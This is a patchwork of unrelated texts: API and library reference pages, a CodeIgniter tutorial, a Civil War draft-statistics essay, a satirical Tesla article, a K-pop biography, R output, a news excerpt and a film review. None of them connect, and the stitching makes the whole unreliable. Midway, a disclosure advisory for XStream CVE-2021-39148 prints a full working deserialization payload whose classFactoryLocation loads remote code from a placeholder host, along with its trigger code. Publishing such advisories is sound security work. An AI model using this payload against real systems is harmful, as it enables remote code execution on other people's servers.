Class CreateProductRequest (v2.2.2)
Request message for the CreateProduct
method.
Generated from protobuf message google.cloud.vision.v1.CreateProductRequest
Methods
__construct
Constructor.
| Name | Description |
| data |
array
Optional. Data for populating the Message object. |
| ↳ parent |
string
Required. The project in which the Product should be created. Format is |
| ↳ product |
Google\Cloud\Vision\V1\Product
Required. The product to create. |
| ↳ product_id |
string
A user-supplied resource id for this Product. If set, the server will attempt to use this value as the resource id. If it is already in use, an error is returned with code ALREADY_EXISTS. Must be at most 128 characters long. It cannot contain the character |
getParent
Required. The project in which the Product should be created.
Format is
projects/PROJECT_ID/locations/LOC_ID
.
Generated from protobuf field string parent = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {
| Type | Description |
| string |
setParent
Required. The project in which the Product should be created.
Format is
projects/PROJECT_ID/locations/LOC_ID
.
Generated from protobuf field string parent = 1 [(.google.api.field_behavior) = REQUIRED, (.google.api.resource_reference) = {
| Name | Description |
| var |
string
|
| Type | Description |
| $this |
getProduct
Required. The product to create.
Generated from protobuf field .google.cloud.vision.v1.Product product = 2 [(.google.api.field_behavior) = REQUIRED];
| Type | Description |
| Google\Cloud\Vision\V1\Product|null |
hasProduct
clearProduct
setProduct
Required. The product to create.
Generated from protobuf field .google.cloud.vision.v1.Product product = 2 [(.google.api.field_behavior) = REQUIRED];
| Name | Description |
| var |
Google\Cloud\Vision\V1\Product
|
| Type | Description |
| $this |
getProductId
A user-supplied resource id for this Product. If set, the server will
attempt to use this value as the resource id. If it is already in use, an
error is returned with code ALREADY_EXISTS. Must be at most 128 characters
long. It cannot contain the character /
.
Generated from protobuf field string product_id = 3;
| Type | Description |
| string |
setProductId
A user-supplied resource id for this Product. If set, the server will
attempt to use this value as the resource id. If it is already in use, an
error is returned with code ALREADY_EXISTS. Must be at most 128 characters
long. It cannot contain the character /
.
Generated from protobuf field string product_id = 3;
| Name | Description |
| var |
string
|
| Type | Description |
| $this |


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Before Change
Concordance must be less than 0.12 to pass numerai"s check.
For an accurate concordance calculation `data` must be the full dataset.
prediction = nx.production(nx.logistic(), data, tournament)
prediction += nx.production(nx.extratrees(), data, tournament)
prediction += nx.production(nx.mlpc(), data, tournament)
print("\nA concordance less than 0.12 is passing")
print(prediction.concordance(data))
After Change
Concordance must be less than 0.12 to pass numerai"s check.
For an accurate concordance calculation `data` must be the full dataset.
models = [nx.logistic(), nx.extratrees(), nx.mlpc()]
p = nx.production(models, data, tournament)
print("\nA concordance less than 0.12 is passing")
print(p.concordance(data))


Static Pages
Note
This tutorial assumes you’ve downloaded CodeIgniter and installed the framework in your development environment.
The first thing you’re going to do is set up a controller to handle static pages. A controller is simply a class that helps delegate work. It is the glue of your web application.
Let’s Make our First Controller
Create Pages Controller
Create a file at app/Controllers/Pages.php with the following code.
Important
You should always be careful about the case of filenames. Many developers develop on case-insensitive file systems on Windows or macOS. However, most server environments use case-sensitive file systems. If the file name case is incorrect, code that works locally will not work on the server.
<?php
namespace App\Controllers;
class Pages extends BaseController
{
public function index()
{
return view('welcome_message');
}
public function view($page = 'home')
{
// ...
}
}
You have created a class named Pages
, with a view()
method that accepts
one argument named $page
. It also has an index()
method, the same
as the default controller found in app/Controllers/Home.php; that method
displays the CodeIgniter welcome page.
Note
There are two view()
functions referred to in this tutorial.
One is the class method created with public function view($page = 'home')
and return view('welcome_message')
for displaying a view.
Both are technically a function. But when you create a function in a class,
it’s called a method.
The Pages
class is extending the BaseController
class that extends the
CodeIgniter\Controller
class. This means that the new Pages class can access the
methods and properties defined in the CodeIgniter\Controller
class
(system/Controller.php).
The controller is what will become the center of every request to
your web application. Like any PHP class, you refer to
it within your controllers as $this
.
Create Views
Now that you’ve created your first method, it’s time to make some basic page templates. We will be creating two “views” (page templates) that act as our page footer and header.
Create the header at app/Views/templates/header.php and add the following code:
<!doctype html>

<title>CodeIgniter Tutorial</title>

<?= esc($title) ?>

The header contains the basic HTML code that you’ll want to display
before loading the main view, together with a heading. It will also
output the $title
variable, which we’ll define later in the controller.
Now, create a footer at app/Views/templates/footer.php that
includes the following code:
© 2022

Note
If you look closely in header.php template we are using an esc()
function. It’s a global function provided by CodeIgniter to help prevent
XSS attacks. You can read more about it in Global Functions and Constants.
Adding Logic to the Controller
Create home.php and about.php
Earlier you set up a controller with a view()
method. The method
accepts one parameter, which is the name of the page to be loaded.
The static page bodies will be located in the app/Views/pages directory.
In that directory, create two files named home.php and about.php. Within those files, type some text - anything you’d like - and save them. If you like to be particularly un-original, try “Hello World!”.
Complete Pages::view() Method
In order to load those pages, you’ll have to check whether the requested
page actually exists. This will be the body of the view()
method
in the Pages
controller created above:
<?php
namespace App\Controllers;
use CodeIgniter\Exceptions\PageNotFoundException; // Add this line
class Pages extends BaseController
{
// ...
public function view($page = 'home')
{
if (! is_file(APPPATH . 'Views/pages/' . $page . '.php')) {
// Whoops, we don't have a page for that!
throw new PageNotFoundException($page);
}
$data['title'] = ucfirst($page); // Capitalize the first letter
return view('templates/header', $data)
. view('pages/' . $page)
. view('templates/footer');
}
}
And add use CodeIgniter\Exceptions\PageNotFoundException;
after the namespace
line
to import the PageNotFoundException
class.
Now, when the requested page does exist, it is loaded, including the header and footer, and returned to the user. If a controller returns a string, it is displayed to the user.
Note
Controllers must return a string or a Response object.
If the requested page doesn’t exist, a “404 Page not found” error is shown.
The first line in this method checks whether the page actually exists.
PHP’s native is_file()
function is used to check whether the file
is where it’s expected to be. The PageNotFoundException
is a CodeIgniter
exception that causes the default error page to show.
In the header template, the $title
variable was used to customize the
page title. The value of title is defined in this method, but instead of
assigning the value to a variable, it is assigned to the title element
in the $data
array.
The last thing that has to be done is loading the views in the order
they should be displayed. The view()
function built-in to
CodeIgniter will be used to do this. The second parameter in the view()
function is used to pass values to the view. Each value in the $data
array
is assigned to a variable with the name of its key. So the value of
$data['title']
in the controller is equivalent to $title
in the
view.
Setting Routing Rules
We have made the controller. The next thing is to set routing rules. Routing associates a URI with a controller’s method.
Let’s do that. Open the routes file located at app/Config/Routes.php.
The only route directive there to start with should be:
<?php
use CodeIgniter\Router\RouteCollection;
/**
* @var RouteCollection $routes
*/
$routes->get('/', 'Home::index');
This directive says that any incoming request without any content
specified should be handled by the index()
method inside the Home
controller.
Add the following lines, after the route directive for '/'
.
use App\Controllers\Pages;
$routes->get('pages', [Pages::class, 'index']);
$routes->get('(:segment)', [Pages::class, 'view']);
CodeIgniter reads its routing rules from top to bottom and routes the request to the first matching rule. Each rule is a regular expression (left-side) mapped to a controller and method name (right-side). When a request comes in, CodeIgniter looks for the first match, and calls the appropriate controller and method, possibly with arguments.
More information about routing can be found in the URI Routing.
Here, the second rule in the $routes
object matches a GET request
to the URI path /pages, and it maps to the index()
method of the Pages
class.
The third rule in the $routes
object matches a GET request to a URI segment
using the placeholder (:segment)
, and passes the parameter to the
view()
method of the Pages
class.
Running the App
Ready to test? You cannot run the app using PHP’s built-in server, since it will not properly process the .htaccess rules that are provided in public, and which eliminate the need to specify “index.php/” as part of a URL. CodeIgniter has its own command that you can use though.
From the command line, at the root of your project:
php spark serve
will start a web server, accessible on port 8080. If you set the location field in your browser to localhost:8080, you should see the CodeIgniter welcome page.
Now visit localhost:8080/home. Did it get routed correctly to the view()
method in the Pages
controller? Awesome!
You should see something like the following:
You can now try several URLs in the browser location field, to see what the Pages
controller you made above produces…
URL |
Will show |
|---|---|
localhost:8080/ |
the CodeIgniter “welcome” page. the results from the |
localhost:8080/pages |
the results from the |
localhost:8080/home |
show the “home” page that you made above, because we explicitly
asked for it. the results from the |
localhost:8080/about |
the “about” page that you made above, because we explicitly asked for it. |
localhost:8080/shop |
a “404 - File Not Found” error page, because there is no app/Views/pages/shop.php. |


workbox-precaching
Most consumers of this module will want to use the precacheAndRoute() method to add assets to the Cache and respond to network requests with these cached assets.
If you require finer grained control, you can use the PrecacheController to determine when performed.
Class
PrecacheController
Performs efficient precaching of assets.
Methods
addPlugins
addPlugins(newPlugins)
Adds plugins to precaching.
Parameter |
|
|---|---|
|
newPlugins |
Array of Object |
addRoute
addRoute(options)
Add a fetch
listener to the service worker that will
respond to
network requests
with precached assets.
Requests for assets that aren't precached, the FetchEvent
will not be
responded to, allowing the event to fall through to other fetch
event
listeners.
Parameter |
|||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
options |
Optional Object Values in
|
cleanupOutdatedCaches
cleanupOutdatedCaches()
Adds an activate
event listener which will clean up incompatible
precaches that were created by older versions of Workbox.
createHandler
createHandler(fallbackToNetwork) returns module:workbox-routing~handlerCallback
Helper function that calls PrecacheController#createHandler on the default PrecacheController instance.
If you are creating your own PrecacheController, then call the PrecacheController#createHandler on that instance, instead of using this function.
Parameter |
|
|---|---|
|
fallbackToNetwork |
Optional boolean Whether to attempt to get the response from the network if there's a precache miss. |
createHandlerBoundToURL
createHandlerBoundToURL(url, fallbackToNetwork) returns module:workbox-routing~handlerCallback
Helper function that calls PrecacheController#createHandlerBoundToURL on the default PrecacheController instance.
If you are creating your own PrecacheController, then call the PrecacheController#createHandlerBoundToURL on that instance, instead of using this function.
Parameter |
|
|---|---|
|
url |
string The precached URL which will be used to lookup the
|
|
fallbackToNetwork |
Optional boolean Whether to attempt to get the response from the network if there's a precache miss. |
getCacheKeyForURL
getCacheKeyForURL(url) returns string
Takes in a URL, and returns the corresponding URL that could be used to lookup the entry in the precache.
If a relative URL is provided, the location of the service worker file will be used as the base.
For precached entries without revision information, the cache key will be the same as the original URL.
For precached entries with revision information, the cache key will be the original URL with the addition of a query parameter used for keeping track of the revision info.
Parameter |
|
|---|---|
|
url |
string The URL whose cache key to look up. |
- Returns
-
string
The cache key that corresponds to that URL.
matchPrecache
matchPrecache(request) returns Promise containing (Response or undefined)
Helper function that calls PrecacheController#matchPrecache on the default PrecacheController instance.
If you are creating your own PrecacheController, then call PrecacheController#matchPrecache on that instance, instead of using this function.
Parameter |
|
|---|---|
|
request |
(string or Request) The key (without revisioning parameters) to look up in the precache. |
- Returns
-
Promise containing (Response or undefined)
precache
precache(entries)
Adds items to the precache list, removing any duplicates and stores the files in the "precache cache" when the service worker installs.
This method can be called multiple times.
Please note: This method will not serve any of the cached files for you. It only precaches files. To respond to a network request you call addRoute().
If you have a single array of files to precache, you can just call precacheAndRoute().
Parameter |
|
|---|---|
|
entries |
Optional Array of (Object or string) Array of entries to precache. |
precacheAndRoute
precacheAndRoute(entries, options)
This method will add entries to the precache list and add a route to respond to fetch events.
This is a convenience method that will call precache() and addRoute() in a single call.
Parameter |
|
|---|---|
|
entries |
Array of (Object or string) Array of entries to precache. |
|
options |
Optional Object See addRoute() options. |
Abstract types
CleanupResult
Object
Property
Parameter |
|
|---|---|
|
deletedCacheRequests |
Array of string List of URLs that were deleted while cleaning up the cache. |
InstallResult
Object
Properties
Parameter |
|
|---|---|
|
updatedURLs |
Array of string List of URLs that were updated during installation. |
|
notUpdatedURLs |
Array of string List of URLs that were already up to date. |
PrecacheEntry
Object
Properties
Parameter |
|
|---|---|
|
url |
string URL to precache. |
|
revision |
Optional string Revision information for the URL. |
|
integrity |
Optional string Integrity metadata that will be used when making the network request for the URL. |
urlManipulation
urlManipulation(context) returns Array of URL
The "urlManipulation" callback can be used to determine if there are any additional permutations of a URL that should be used to check against the available precached files.
For example, Workbox supports checking for '/index.html' when the URL '/' is provided. This callback allows additional, custom checks.
Parameter |
|||||
|---|---|---|---|---|---|
|
context |
Object Values in
|
- Returns
-
Array of URL
To add additional urls to test, return an Array of URLs. Please note that these should not be strings, but URL objects.


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Everybody Is Roasting Elon Musk And His Incredibly Bizarre New Tesla ‘Cybertruck’
by Joseph EarpElon Musk desperately wants to be a James Bond supervillain.

Never mind that the guy could slash world hunger, or push companies away from fossil fuels and into renewables, thus saving the planet. Nope. All Musk wants to do is act like a pantomime baddie, get stoned on Joe Rogan, and sell people flamethrowers.
Now, Musk has taken that flair for theatricality to the next level by unveiling the ‘Cybertruck’, an astonishingly bizarre Tesla pickup, that looks like…
Well, just see for yourself.
Musk unveiled the Cybertruck to the press yesterday. During the product launch, he boasted about the thing’s speed, strength, and supposed invulnerability.
Emphasis on the ‘supposed’ there. While demonstrating the “shatterproof” windows by hucking a metal ball into them, Musk and his crony discovered that maybe the thing wasn’t quite as strong as they had believed.
But extremely breakable windows wasn’t the only problem for Musk. Hours after the thing debuted, he had to deal with the next and more savage roasting — that delivered by internet memesters.
Yep, as was probably inevitable, the internet descended upon the vehicle, and spent hours picking it to glorious pieces.
Of course, this widespread reaction to the car is exactly what the Tesla billionaire was hoping for.
After all, the guy feeds off press of literally any kind, no matter whether it’s positive or negative. I reckon he’s spent the last few hours liking all of these memes from his burner account, giggling at the best ones like an oversouped four-year-old who just can’t wait to tell his buddies the trouble that he’s caused.
Good lord. Who would have guessed that our dystopian overlords would be this, uh, tiresome?


| state | QUOTA | FURNISHED |
| MAINE | 9,609 | 7,620 |
| NEW HAMPSHIRE | 5,053 | 1,736 |
| VERMONT | 4,898 | 4,781 |
| MASSACHUSETTS | 19,080 | 16,685 |
| RHODE ISLAND | 2,712 | 2,059 |
| CONNECTICUT | 7,145 | 5,602 |
| NEW YORK | 59,705 | 1,781 |
| NEW JERSEY | 10,478 | 10,787 |
| PENNSYLVANIA | 45,321 | 32,215 |
| DELAWARE | 1,720 | 1,799 |
| MARYLAND | 8,532 | 0 |
| OHIO | 36,858 | 0 |
| INDIANA | 21,250 | 337 |
| ILLINOIS | 26,148 | 0 |
| MICHIGAN | 11,686 | 0 |
| WISCONSIN | 11,904 | 958 |
| MINNESOTA | 17,269 | 0 |
[source: "Official Records," Series iii, vol. 2, p.291.]
The difficulty over exact numbers for the 1862 draft is a good illustration of how truly daunting it is to abstract any sort of statistically accurate statement from the "Official Records." Even an impeccable historian like Prof. James McPherson can end up with two numbers for the same thing in his two general histories of the Civil War. In Ordeal by Fire [p.357] he counts 118,000 substitutes for the Union army. But in Battle Cry of Freedom [p.605] he writes that only 74,000 Northern conscripts provided substitutes.
Put on your wading boots; tighten your chin strap. We're about to descend into the "Official Records." I hope you've had your shots.
U.S. Provost Marshal-General James B. Fry's "Final Report" on his office's work in the Civil War is dated March 17, 1866. It is printed in abridged version in "Official Records" Ser. iii, vol. 5, pp. 599-933. The unabridged version can be found in "Journal of the House of Representatives," 39th Congress, 1st Session, 1866, H. Exec. Doc. 1, vol. 4 [Serials 1251-52]. The abridged version is abridged mostly because it omits some tables that are redundant, so most historians use it.
In 1864, Northern men who had been enrolled for an upcoming draft, but not yet drafted, could hire substitutes for the Army and have their names excused from the draft. In other words, they could opt to buy a substitute when it was a buyer's market, and take the chance that they might not get drafted. A little over 44,000 men did this.
In Fry's "Final Report" [pp. 637-39], these 44,000 (or, to be exact, the men they hired) are lumped with "substitutes for drafted men," and counted as substitutes. In the nine pages of tables toward the end of the report, however, only the substitutes for men who had actually been drafted are counted under the heading "furnished substitutes" [pp. 730-39]. In other words, if you calculate the drafts based on the tables, the 44,000 pre-draft substitutes would figure as "volunteers."
For instance, in the President's call for 500,000 men on July 18, 1864, Fry on p.637 lists 28,502 "substitutes for drafted men," and 29,584 "substitutes before draft for enrolled men," and combines them for a total of 84,291. In Table 10 [p.735], and in the recapitulation table [p.737], however, he lists only the 28,502 figure as "furnished substitutes," and combines them with others "held for service" for a total of 56,005 under that heading.
The result is that Professor McPherson's two general histories arrive at different figures for the number of Union substitutes: in Ordeal by Fire he counts the 44,000 as substitutes, and figures them into the 118,000 substitutes he lists for the Union army. But in Battle Cry of Freedom he excludes them and writes that only 74,000 Northern conscripts provided substitutes.
The difference changes the percentage of substitutes in the Union Army during the whole war from about 7 to about 10 percent. It shows how difficult and refractory a source the "O.R." can be.
So what about the Northern draft of 1862? Fry [p.610] writes in his report: "Of the 300,000 men called for[,] about 87,000 were credited as having been drafted into the service under the call. This number was much reduced by desertion before the men could be got out of their respective States and but a small portion of them actually joined the ranks of the Army."
But the state-by-state account in the "Official Records," shown in the table above, lists 87,588 men furnished.
Fry perhaps rounded down, not up as he should have. I'm willing to bet that's where Prof. McPherson got the "87,000" nine-month militia he writes of in Ordeal by Fire [p.252]. He corrected this to "88,000 militiamen" in Battle Cry of Freedom [p.492]. At least, I assume that's the more accurate figure. Elsewhere in the "Official Records" a figure of 86,360 nine-month militiamen is given.
Fry has also misled less careful historians by referring to the 87,000 as "drafted into the service," when in fact that figure actually includes both draftees and volunteers. But even once you get past this trap, there's the difficulty of discovering how many of them were drafted, how many volunteered.
E.D. Townsend, Asst. Adjt.-Gen., wrote to Sec. of War Stanton April 5, 1864 [O.R. Ser. iii, vol. 4, p.216-17], listing 18,884 "nine-months' volunteers" and 65,305 "nine months' militia."
Thomas M. Vincent, Asst. Adjt.-Gen., in an exhibit sent to the House of Representatives Dec. 23, 1863, [O.R. Ser. iii, vol. 4, p.3] wrote, "Received under said Call by draft and sent to the field with regimental organizations 66,898. Received and sent to field, singly and by squads, for old regiments 4,000. Total 70,898."
Fry, meanwhile, gives 46,347 actually conscripted in one place, 52,067 in another.
Historian F.A. Shannon [The Organization and Administration of the Union Army, 1861-65, 1928, vol. 2, p. 160] used the 52,000 figure; most historians now lean toward the lower number, in part because they seem to agree better with such state records as have survived.


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Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
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WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
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*/
/* eslint-env browser */
import WorkboxSW from './lib/workbox-sw';
/**
* # workbox-sw
*
* A high-level library that makes it easier to configure routes with
* caching strategies as well as manage precaching
* of assets during the install step of a service worker.
*
* **Install:** `npm install --save-dev workbox-sw`
*
* @example
Adding the Library to your project.

* importScripts('/node_modules/build/importScripts/workbox-sw.prod.vX.Y.Z.js');
*
* @example
Caching assets and registering routes.

*
* // DO NOT CREATE THIS MANIFEST OR EDIT IT MANUALLY!!
* // Use workbox-build or workbox-cli to generate the manifest for you.
* const workboxSW = new WorkboxSW();
* workboxSW.precache([
* {
* url: '/',
* revision: '613e6c7332dd83e848a8b00c403827ed'
* },
* {
* url: '/styles/main.css',
* revision: '59a325f32baad11bd47a8c515ec44ae5'
* }
* ]);
*
* // Register runtime routes like so.
* workboxSW.router.registerRoute(
* '/example/', workboxSW.staleWhileRevalidate());
* workboxSW.router.registerRoute(
* /\/images\/(.*\/)?.*\.(png|jpg|jpeg|gif)/,
* workboxSW.strategies.cacheFirst());
* workboxSW.router.registerRoute(
* '/styles/:filename', workboxSW.strategies.cacheFirst());
*
* @example
Using plugins with caching strategies.

* const workboxSW = new WorkboxSW();
* workboxSW.router.registerRoute(/\/images\/(.*\/)?.*\.(png|jpg|jpeg|gif)/,
* workboxSW.strategies.cacheFirst({
* cacheName: 'example-cache',
* cacheExpiration: {
* maxEntries: 10,
* maxAgeSeconds: 7 * 24 * 60 * 60
* },
* cacheableResponse: {
* statuses: [0, 200]
* },
* broadcastCacheUpdate: {
* channelName: 'example-channel-name'
* },
* plugins: [
* // Additional Plugins
* ]
* })
* );
*
* @module workbox-sw
*/
export default WorkboxSW;


CVE-2021-39148: XStream is vulnerable to an Arbitrary Code Execution attack.
All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.
Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<sorted-set> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'> <soapPart/> <mm> <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'> <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'> <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'> <current> <hash>1</hash> <key class='javax.naming.Binding'> <name>ysomap</name> <isRel>false</isRel> <boundObj class='com.sun.jndi.ldap.LdapReferralContext'> <refCtx class='javax.naming.spi.ContinuationDirContext'> <cpe> <stackTrace/> <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'> <c class='list'/> <list reference='../c'/> </suppressedExceptions> <resolvedObj class='javax.naming.Reference'> <className>EvilObj</className> <addrs/> <classFactory>EvilObj</classFactory> <classFactoryLocation>http://<IP_ADDRESS>:1099/</classFactoryLocation> </resolvedObj> <altName class='javax.naming.CompoundName' serialization='custom'> <javax.naming.CompoundName> <properties/> <int>1</int> <string>ysomap</string> </javax.naming.CompoundName> </altName> </cpe> </refCtx> <skipThisReferral>false</skipThisReferral> <hopCount>0</hopCount> </boundObj> </key> </current> <currentBucket>0</currentBucket> <count>0</count> <threshold>0</threshold> </list> </children> <currentReturned>true</currentReturned> <currentChildExpanded>false</currentChildExpanded> <rootProcessed>true</rootProcessed> <scope>2</scope> </aliases> </it> </mm> </multiPart> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>ysomap</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>test</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </sorted-set>
XStream xstream = new XStream(); xstream.fromXML(xml);
Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream.
See workarounds for the different versions covering all CVEs.
wh1t3p1g from TSRC (Tencent Security Response Center) found and reported the issue to XStream and provided the required information to reproduce it.


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Jeon So-yeon (Hangul: ì ìì°; born August 26, 1998), better known mononymously as Soyeon,
is a South Korean rapper, singer, choreographer, songwriter and record producer signed to Cube
Entertainment.
She is the leader of Korean girl group (G)I-dle. She is best known for competing in the
television shows Produce 101 and Unpretty Rapstar.
On January 11, 2018, it was announced that Soyeon would be re-debuting in Cube Entertainment's new girl group (G)I-dle as the leader and main rapper. She is credited in the lyrics, music and arrangement for both their debut song 'LATATA' and their comeback song 'HANN (Alone)', both of which was well received and commercially successful. She also contributed in writing five songs of (G)I-dle's debut extended play titled I AM. On August 8, it was announced that Soyeon would participate in a girl group project called Station Young for SM Station's X 0 alongside Red Velvet's Seulgi, Kim Chung-ha, and GFriend's SinB. Station Young released their first song, "Wow Thing", on September 28, 2018. In February 2018, Soyeon and fellow (G)I-dle member Miyeon were approached by Riot Games to participate in a collaboration project with American artists Jaira Burns and Madison Beer as part of a virtual girl group called "K/DA" for the multiplayer online battle arena video game League of Legends. Soyeon, Miyeon, Beer, and Burns recorded vocals for the virtual group, which consists of new versions of League of Legends characters. K/DA officially debuted with the song "Pop/Stars" during the 2018 League of Legends World Championship on November 3, 2018. The official music video for "POP/STARS" was released on the same day, reaching 30 million views on YouTube in five days, and 100 million in one month. The single release of the song reached the number one position on Billboard's World Digital Songs chart. The K/DA incarnation of the character Akali, whose vocals were performed by Soyeon, proved to be especially popular, becoming a frequent subject of fan art and cosplay.


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public class UPath
extends java.lang.Object
| Constructor | Description |
|---|---|
UPath() |
| Modifier and Type | Method | Description |
|---|---|---|
static boolean |
canSee(int x0,
int y0,
int x1,
int y1,
UArea area,
UActor actor) |
Utility method: Can actor see from point 1 to point 2 in area?
TODO: export this to a bresenham util func
|
static int |
mdist(int x1,
int y1,
int x2,
int y2) |
Utility method: Calculate the manhattan distance (4-direction travel distance) between two points.
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int[] |
nextStep(UArea area,
int x1,
int y1,
int x2,
int y2,
UActor actor,
int range) |
Perform A* pathfinding between the two given points and return the next step from the first point
to reach the second.
|
ure.math.UPath.Node |
NodeIfOpen(UArea area,
int x,
int y,
ure.math.UPath.Node parent,
UActor actor) |
public ure.math.UPath.Node NodeIfOpen(UArea area, int x, int y, ure.math.UPath.Node parent, UActor actor)
public static int mdist(int x1, int y1, int x2, int y2)
x1
- y1
- x2
- y2
- public static boolean canSee(int x0, int y0, int x1, int y1, UArea area, UActor actor)
public int[] nextStep(UArea area, int x1, int y1, int x2, int y2, UActor actor, int range)
actor
- The actor to use for deciding passability. Can be null.range
- No steps further than this from the start will be considered.


July 31, 2018
Instructor: Andy Hong, PhD
Postdoctoral Research and Teaching Fellow
School of Population and Public Health
University of British Columbia
| Statistical Learning | Machine Learning |
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# Simple regression
m1 = lm(data = gapminder, lifeExp ~ income)
summary(m1)
# Call:
# lm(formula = lifeExp ~ income, data = gapminder)
#
# Residuals:
# Min 1Q Median 3Q Max
# -18.032 -3.948 1.314 4.217 9.300
#
# Coefficients:
# Estimate Std. Error t value Pr(>|t|)
# (Intercept) 67.70194625 0.54603278 123.99 <0.0000000000000002 ***
# income 0.00025963 0.00002118 12.26 <0.0000000000000002 ***
# ---
# Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1
#
# Residual standard error: 5.522 on 185 degrees of freedom
# Multiple R-squared: 0.4482, Adjusted R-squared: 0.4452
# F-statistic: 150.3 on 1 and 185 DF, p-value: < 0.00000000000000022
# Multiple regression
m2 = lm(data = gapminder, lifeExp ~ income + population)
summary(m2)
# Call:
# lm(formula = lifeExp ~ income + population, data = gapminder)
#
# Residuals:
# Min 1Q Median 3Q Max
# -17.939 -3.903 1.410 4.129 9.379
#
# Coefficients:
# Estimate Std. Error t value Pr(>|t|)
# (Intercept) 67.602268543445 0.560501264567 120.610 <0.0000000000000002 ***
# income 0.000260247911 0.000021214915 12.267 <0.0000000000000002 ***
# population 0.000000002244 0.000000002797 0.802 0.423
# ---
# Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1
#
# Residual standard error: 5.528 on 184 degrees of freedom
# Multiple R-squared: 0.4501, Adjusted R-squared: 0.4441
# F-statistic: 75.31 on 2 and 184 DF, p-value: < 0.00000000000000022


org.flexiblepower.messaging
public interface MessageListener
MessageListener
can be used to sniff messages that are exchanges between Endpoint
s. To use it, just
register a MessageListener
in the serivce repository and the runtime should pick it up and provide you with
the messages being exchanged.
A MessageListener
can be annotated by a Filter
that limits the type of messages that are received.Filter
| Modifier and Type | Method and Description |
|---|---|
void |
handleMessage(ConnectionManager.EndpointPort from,
ConnectionManager.EndpointPort to,
java.lang.Object message)
This handler method is called when a matched message has been exchanged.
|
void handleMessage(ConnectionManager.EndpointPort from, ConnectionManager.EndpointPort to, java.lang.Object message)
from
- The source that sent the messageto
- The destination that has received the messagemessage
- The message object itself


Protests drive record poll turnout in Hong Kong
The vote is the closest Hong Kongers – who have been protesting for true democracy at mass rallies and violent clashes – get to direct representation.
by Yan Zhao / Xinqi Su / AFPA protester (C) is helped away by a secondary principle (2nd R) after a press conference where two protesters spoke to the media on the campus of the Hong Kong Polytechnic University where they remain barricaded inside, in the Hung Hom district of Hong Kong on November 24, 2019. - Meanwhile, Hong Kong's voters turned out in record numbers on November 24 for local council elections that the city's pro-democracy movement hopes will add pressure on the Beijing-backed government to heed their demands. Hong Kong has been shaken by nearly six months of increasingly violent demonstrations, with protesters calling for greater democratic freedoms and police accountability. (Photo by NICOLAS ASFOURI / AFP)
Hong Kong’s voters turned out in record numbers Sunday for local council elections that the city’s pro-democracy movement hopes will pile pressure on the Beijing-backed government to heed their demands after months of violent protest.
Lengthy queues snaked out of polling stations across the territory in the election for 18 district councils, where high turnout is expected to benefit democratic forces.


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Lost & Found (1999)
a review by Christian Pyle
With "Lost & Found," David Spade steps onto the center of the stage. In his previous film work, he's either played second fiddle to another comic ("Black Sheep," "Tommy Boy," "Senseless") or filled a supporting role ("PCU," "8 Heads in a Duffel Bag"). So, "Lost & Found" is a test of Spade's mettle as a comic actor; if he passes at all, it's barely.
"Lost & Found" is also Spade's debut as a romantic lead. He plays Dylan Ramsey, a restaurateur who's just broken up with his stripper girlfriend. He becomes smitten with his new neighbor, French cellist Lila Dubois (Sophie Marceau). In an attempt to trick Lila into spending time with him, Dylan kidnaps her dog, Jack. He plans to spend the day walking around the neighborhood with Lila looking for Jack, then to "find" the dog and be her hero. The plan becomes complicated when Jack steals a diamond ring that Dylan is holding for his best friend and business partner (Mitchell Whitfield). So, Jack has to remain "lost" until the ring reappears. Enter Rene (Patrick Bruel), Lila's rich ex-fiance, who's come to win her back. . . . And hilarity ensues.
The plot is (forgive the pun) doggedly predictable.  A rigidly formulaic film like this depends on its details--the gags, the characters--to work. "Lost & Found" is funny in spots; the trouble for Spade is that they're the wrong spots. As a charming romantic lead, he's a washout. Spade is funniest when he's a malicious elf. His funniest scenes are ones where he is cruel, verbally and physically, to others, particularly the dog. (If Lila knew everything Dylan did to Jack, we'd never get to "girl forgives boy"). But, the callousness that makes him funny in the abusive scenes also works against him in scenes where he's trying to be sweet and sensitive.
That conflict between cruelty and kindness pervades the movie. The script is funny but uneven; it has jokes which are very crude (some involving dogshit) and others which are endearing. People impressed by one sort of humor will probably be put off by the other. None of the three screenwriters (James B. Cook, Marc Meeks, and Spade) has had a screenwriting credit before. They could have used an experienced editor.
